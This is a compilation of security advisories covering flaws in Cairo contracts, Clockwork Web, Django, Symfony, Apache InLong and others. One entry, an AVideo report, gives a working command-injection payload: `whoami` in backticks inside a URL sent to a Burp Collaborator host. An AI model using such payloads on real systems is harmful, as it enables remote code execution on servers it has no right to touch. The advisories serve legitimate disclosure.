ghsa

### Cause `is_valid_eth_signature` is missing a call to `finalize_keccak` after calling `verify_eth_signature`. ### Impact As a result, any contract using `is_valid_eth_signature` from the account library (such as the `EthAccount` preset) is vulnerable to a malicious sequencer. Specifically, the malicious sequencer would be able to bypass signature validation to impersonate an instance of these accounts. ### Risk In order to exploit this vulnerability, it is required to control a sequencer or prover since they're the ones executing the hints, being able to inject incorrect keccak results. Today StarkWare is the only party running both a prover or a sequencer, greatly reducing the risk of exploit. ### Patches The issue has been patched in 0.6.1. ### For more information If you have any questions or comments about this advisory: * Open an issue in [the Contracts for Cairo repository](https://github.com/OpenZeppelin/cairo-contracts/issues/new/choose) * Email us at [security@openzepp...

Clockwork Web before 0.1.2, when used with Rails before 5.2 is used, allows Cross-Site Request Forgery (CSRF). A CSRF attack works by getting an authorized user to visit a malicious website and then performing requests on behalf of the user. In this instance, actions include enabling and disabling jobs. All users running an affected release on Rails < 5.2 should upgrade immediately.

A missing access check in the `InvitationController` allows an unauthenticated user to delete all frontend users.

A missing access check in the `InvitationController` allows an unauthenticated user with a valid invitation link to set the password of all frontend users.

### Impact Unsanitized input flows into Strategy match operation (EXIST), where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS). ### Patches Patched in 3.1.4 ### Workarounds Avoid using Strategy settings that use REGEX in conjunction with EXIST and NOT_EXIST operations.

Description: I found a very critical vulnerability on your open source program called RCE (Remote Code Execution) where an attacker can arbitrary execute code in the server Impact: An attacker could execute remote codes on your system Step to Reproduce: 1. Go to My Videos tab https://demo.avideo.com/mvideos 2. Click "Embed a video link" 3. Get your Burp Suite Collaborator link Example: [o4ta880iz4vap09kaqw400po8fe52u.oastify.com](http://o4ta880iz4vap09kaqw400po8fe52u.oastify.com/) 4. Now put this RCE payload in the Video Link field [http://o4ta880iz4vap09kaqw400po8fe52u.oastify.com?`whoami`](http://o4ta880iz4vap09kaqw400po8fe52u.oastify.com/?whoami) then click Save 5. Now go to BurpSuite Collaborator client and see the response

In Django 3.2 before 3.2.17, 4.0 before 4.0.9, and 4.1 before 4.1.6, the parsed values of Accept-Language headers are cached in order to avoid repetitive parsing. This leads to a potential denial-of-service vector via excessive memory usage if the raw value of Accept-Language headers is very large.

Description ----------- The Symfony HTTP cache system acts as a reverse proxy: it caches HTTP responses (including headers) and returns them to clients. In a recent `AbstractSessionListener` change, the response might now contain a `Set-Cookie` header. If the Symfony HTTP cache system is enabled, this header might be stored and returned to some other clients. An attacker can use this vulnerability to retrieve the victim's session. Resolution ---------- The `HttpStore` constructor now takes a parameter containing a list of private headers that are removed from the HTTP response headers. The default value for this parameter is `Set-Cookie`, but it can be overridden or extended by the application. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/d2f6322af9444ac5cd1ef3ac6f280dbef7f9d1fb) for branch 4.4. Credits ------- We would like to thank Soner Sayakci for reporting the issue and Nicolas Grekas for fixing it.

Description ----------- When authenticating users Symfony by default regenerates the session ID upon login, but preserves the rest of session attributes. Because this does not clear CSRF tokens upon login, this might enables [same-site attackers](https://canitakeyoursubdomain.name/) to bypass the CSRF protection mechanism by performing an attack similar to a session-fixation. Resolution ---------- Symfony removes all CSRF tokens from the session on successful login. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/5909d74ecee359ea4982fcf4331aaf2e489a1fd4) for branch 4.4. Credits ------- We would like to thank Marco Squarcina for reporting the issue and Nicolas Grekas for fixing it.

Deserialization of Untrusted Data vulnerability in Apache Software Foundation Apache InLong. This issue affects Apache InLong: from 1.1.0 through 1.5.0. Users are advised to upgrade to Apache InLong's latest version or cherry-pick https://github.com/apache/inlong/pull/7223 to solve it.